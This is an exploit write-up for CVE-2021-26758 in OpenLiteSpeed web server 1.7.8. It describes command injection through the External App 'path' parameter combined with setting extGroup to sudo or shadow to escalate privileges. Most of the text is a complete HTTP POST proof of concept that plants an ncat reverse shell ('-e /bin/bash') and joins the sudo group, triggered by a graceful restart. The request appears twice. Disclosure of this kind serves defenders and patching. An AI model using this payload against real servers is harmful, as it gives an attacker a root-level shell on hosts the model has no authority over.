Openlitespeed Web Server 1.7.8 - Privilege Escalation (CVE-2021-26758)

Openlitespeed Web Server 1.7.8 - Command Injection to Privilege Escalation (CVE-2021-26758)

# Description

OpenLiteSpeed web server version 1.7.8 allows attackers to gain root terminal access and execute commands on the host system. The path parameter has command injection vulnerability that leads to escalate privilege. OpenLiteSpeed (1.7.8) web server runs with user(nobody):group(nogroup) privilege. However, extUser and extGroup parameters could be used to join a group (GID) such as shadow, sudo, etc.

I found a way to escalate privileges on Ubuntu 18.04 via OpenLiteSpeed web server that runs with user(nobody):group(nogroup) privilege . According to this vulnerability , system user that has admin panel credentials can add himself to sudo group or shadow group( to read /etc/shadow file) . So that the user can execute command with high privileges.

Command injection vulnerability is discovered by cmOs - SunCSR

# Proof of Concept

Assuming that there is a test user that is not member of sudo group.

User changes External App configuration as following to get reverse shell with high privileges.

(POST) HTTP Request:

POST /view/confMgr.php HTTP/1.1
Host: localhost:7080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://localhost:7080/index.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 609
Origin: https://localhost:7080
Connection: close
Cookie: litespeed_admin_lang=english; LSUI37FE0C43B84483E0=05850662073b74332d87ffa206abe963; LSID37FE0C43B84483E0=YUSipPp8emA%3D; LSPA37FE0C43B84483E0=pmN9JUxkJwg%3D

name=lsphp&address=uds%3A%2F%2Ftmp%2Flshttpd%2Flsphp.sock&note=&maxConns=10&env=PHP_LSAPI_CHILDREN%3D10%0D%0ALSAPI_AVOID_FORK%3D200M%0D%0ASHELL%3D%2Fbin%2Fbash%0D%0APATH%3D%2Fusr%2Fsbin%3A%2Fusr%2Fbin%3A%2Fsbin%3A%2Fbin&initTimeout=60&retryTimeout=0&persistConn=1&pcKeepAliveTimeout=&respBuffer=0&autoStart=2&path=%2Fusr%2Fbin%2Fncat+-nv+127.0.0.1+8081+-e+%2Fbin%2Fbash&backlog=100&instances=1&extUser=test&extGroup=sudo&umask=&runOnStartUp=1&extMaxIdleTime=&priority=0&memSoftLimit=2047M&memHardLimit=2047M&procSoftLimit=1400&procHardLimit=1500&a=s&m=serv&p=ext&t=A_EXT_LSAPI&r=lsphp&tk=0.60985900+1612100858

The user sends a Graceful Restart request through admin panel and get reverse shell with sudo group privileges.

# Author: Metin Yunus Kandemir

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Last updated 1 year ago

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(POST) HTTP Request: POST /view/confMgr.php HTTP/1.1 Host: localhost:7080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0 Accept: text/html, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://localhost:7080/index.php Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 609 Origin: https://localhost:7080 Connection: close Cookie: litespeed_admin_lang=english; LSUI37FE0C43B84483E0=05850662073b74332d87ffa206abe963; LSID37FE0C43B84483E0=YUSipPp8emA%3D; LSPA37FE0C43B84483E0=pmN9JUxkJwg%3D name=lsphp&address=uds%3A%2F%2Ftmp%2Flshttpd%2Flsphp.sock&note=&maxConns=10&env=PHP_LSAPI_CHILDREN%3D10%0D%0ALSAPI_AVOID_FORK%3D200M%0D%0ASHELL%3D%2Fbin%2Fbash%0D%0APATH%3D%2Fusr%2Fsbin%3A%2Fusr%2Fbin%3A%2Fsbin%3A%2Fbin&initTimeout=60&retryTimeout=0&persistConn=1&pcKeepAliveTimeout=&respBuffer=0&autoStart=2&path=%2Fusr%2Fbin%2Fncat+-nv+127.0.0.1+8081+-e+%2Fbin%2Fbash&backlog=100&instances=1&extUser=test&extGroup=sudo&umask=&runOnStartUp=1&extMaxIdleTime=&priority=0&memSoftLimit=2047M&memHardLimit=2047M&procSoftLimit=1400&procHardLimit=1500&a=s&m=serv&p=ext&t=A_EXT_LSAPI&r=lsphp&tk=0.60985900+1612100858